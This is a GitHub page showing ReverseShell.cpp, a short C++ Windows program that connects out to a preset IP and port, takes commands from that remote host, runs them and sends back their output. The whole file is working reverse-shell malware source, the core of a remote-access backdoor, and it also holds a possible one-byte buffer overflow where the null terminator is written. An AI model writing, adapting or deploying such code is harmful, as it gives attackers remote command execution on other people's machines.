-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathReverseShell.cpp
More file actions
45 lines (37 loc) · 1.27 KB
/
ReverseShell.cpp
File metadata and controls
45 lines (37 loc) · 1.27 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
// ReverseShell.cpp
#include "ReverseShell.h"
#include "WinAPIException.h"
#include <ws2tcpip.h>
#include <vector>
#include <string>
void ReverseShell::start() {
WinSockManager winsock;
SocketHandler socket(::socket(AF_INET, SOCK_STREAM, IPPROTO_TCP));
if (socket == INVALID_SOCKET) {
throw WinAPIException("Socket creation failed");
}
sockaddr_in serverAddress{};
serverAddress.sin_family = AF_INET;
serverAddress.sin_port = htons(DEFAULT_PORT);
inet_pton(AF_INET, DEFAULT_IP, &serverAddress.sin_addr);
socket.connect(serverAddress);
std::vector<char> commandBuffer(DEFAULT_BUFLEN);
while (true) {
try {
int bytesReceived = socket.receive(commandBuffer.data(), DEFAULT_BUFLEN);
if (bytesReceived <= 0) break;
commandBuffer[bytesReceived] = '\0';
std::string command(commandBuffer.data());
std::string output;
try {
output = CommandExecutor::execute(command);
} catch (const std::exception& e) {
output = "[!] Error: " + std::string(e.what()) + "\n";
}
socket.send(output.c_str(), output.size());
}
catch (const WinAPIException& e) {
break;
}
}
}